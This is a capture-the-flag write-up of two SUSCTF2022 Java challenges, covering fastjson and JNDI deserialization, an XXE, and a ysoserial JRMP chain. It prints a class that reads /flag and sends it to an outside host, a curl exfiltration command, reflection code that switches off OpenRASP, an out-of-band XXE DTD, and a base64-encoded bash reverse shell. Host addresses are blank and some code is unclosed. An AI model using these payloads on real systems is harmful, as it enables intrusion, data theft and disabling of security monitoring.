Two Java replicas of SUSCTF2022

Two Java replicas of SUSCTF2022


I didn't watch the game. First, I can't remember Java after touching the whole winter vacation... Second, because the hearts and minds of the team are directly seconds..

However, these two fastjson seem to have some strange problems. If you reproduce them, just learn something from them.

baby gadget v1.0

admin admin123 gives lib after logging in the background, and then has a fast JSON deserialization input. According to the title, it means to find the chain yourself, but it seems that the online chain can also be opened:


During the reproduction, I stepped on many pits. The main problem is that I didn't expect to take it out at the beginning. The direct execution of the command was unsuccessful. I can't confirm whether the class was loaded successfully or not. I tried Java to execute DNGLOG and didn't respond..

forkAndExec wrap rasp

The official solution is to bypass the failure of command execution, and directly execute the command will have this:


Check rasp to know that it is a Runtime application self-protection and a defense.

forkAndExec can be used to bypass rasp, but I can't run locally what I found on the Internet. I said that the launchMechanism field doesn't exist. I don't understand what's going on for the time being.

URL out

The second is to bring out the URL directly:

public class Evil {
    public Evil() throws Exception{
        String flag = "";
        String str;
        BufferedReader in = new BufferedReader(new FileReader("/flag"));
        while ((str = in.readLine()) != null) {
            flag += str;
        URL url = new URL(""+flag);
        HttpURLConnection con = (HttpURLConnection) url.openConnection();

        //Add request header
        con.setRequestProperty("User-Agent", "feng");
        int responseCode = con.getResponseCode();

Initiate a get request and bring out the flag directly.

Start ldap server:

root@VM-0-6-ubuntu:~/java/jndi# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "" 39543
Listening on
Send LDAP reference result for Evil redirecting to
Send LDAP reference result for Evil redirecting to


root@VM-0-6-ubuntu:~/java/jndi# python3 -m http.server 39777
Serving HTTP on port 39777 ( ... - - [02/Mar/2022 16:07:49] "GET /Evil.class HTTP/1.1" 200 - - - [02/Mar/2022 16:24:27] "GET /Evil.class HTTP/1.1" 200 -

root@VM-0-6-ubuntu:~# nc -lnvp 39454
Listening on [] (family 0, port 39454)
Connection from 43984 received!
GET /?flag=SUSCTF{Find_FastjSON_gadGet_is_so_Easy} HTTP/1.1
User-Agent: feng
Cache-Control: no-cache
Pragma: no-cache
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

Turn off rasp

Nep nepnep team posture, learn a wave

public class Evil {
    public Evil() throws Exception{

            Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("");
            java.lang.reflect.Method getConfig = clz.getDeclaredMethod("getConfig");
            java.lang.reflect.Field disableHooks = clz.getDeclaredField("disableHooks");
            Object ins = getConfig.invoke(null);

            Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl -F file=@/flag"});


Learn a wave of this idea, which is very strong, because openrasp uses Java agent mechanism to implement it. When the server starts, Java bytecode can be dynamically modified, which is actually injected into memory. Reflection can be used to modify the configuration information and close rasp. nb learned.

baby gadget v2.0

First, it's a xxe. Take it out:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "">
root@VM-0-6-ubuntu:~# cat evil.dtd
<!ENTITY % file SYSTEM 'file:///hint.txt'>
<!ENTITY % payload "<!ENTITY &#37; send SYSTEM ';'>">

root@VM-0-6-ubuntu:~/java/jndi# nc -lvvp 39802
Listening on [] (family 0, port 39802)
Connection from 55556 received!
GET /? HTTP/1.1
User-Agent: Java/1.8.0_191
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

Download 58f9f32d633491243ee01cbe86f69be9 After Zi, we get some information:


Then there are some similar codes that need to be reversed. It seems that POST accesses / bf2dcf6664b16e0efe471b2eac2b54b2 to pass parameter 0, and then decodes it based 64, then filters the blacklist again, and then deserializes it.



Unexpected is that you can take JRMP directly.

java -jar ysoserial.jar JRMPClient|base64 -w 0
java -cp ysoserial.jar ysoserial.exploit.JRMPListener  39555 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8jEuNS4xNjkuMjIzLzM5Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
  1. The attacker uses exploit/JRMPListener to start rmi listening on his server
  2. Send payloads/JRMPClient to the vulnerable server. The ip address of the attacker server and the port monitored by JRMPListener have been set in the payload. After deserializing the payload, the vulnerable server will connect to the rmi monitoring enabled by the attacker. During communication, The attacker server will send a payload of executable commands (if the vulnerable server uses the org.apacje.commons.collections package, it can send a payload of CommonsCollections Series), so as to achieve the result of command execution.

The expected solution is to dig the chain by yourself. For CC5 or CC6, ban is only the class at the entrance, and then find another starting chain that can trigger, for example, the hashCode function.


I feel that the expected solution is strange in this problem environment... Unexpectedly, it feels very interesting hhh. I'll take a look at JRMP later.

Keywords: PHP Java Front-end safari

Added by GoodGuy201 on Wed, 02 Mar 2022 16:36:24 +0200